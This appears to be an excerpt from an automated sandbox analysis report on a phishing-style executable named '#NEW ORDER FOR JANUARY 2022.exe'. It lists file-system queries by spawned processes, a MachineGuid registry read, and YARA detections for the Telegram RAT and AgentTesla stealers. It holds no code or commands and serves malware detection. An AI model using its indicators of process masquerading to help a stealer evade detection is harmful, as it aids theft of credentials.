Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003B.00000002.938179182.0000000002471000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.938786458.0000000003511000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.938600597.0000000002C41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.937902584.0000000002D61000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 4588, type: MEMORYSTR

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.42c5920.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.470db20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.aspnet_regbrowsers.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.42a5900.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.46edb00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.42c5920.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.4aadb00.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.4aedb20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.aspnet_regbrowsers.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.474db40.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.4aadb00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.470db20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.4aedb20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.474db40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack, type: UNPACKEDPE
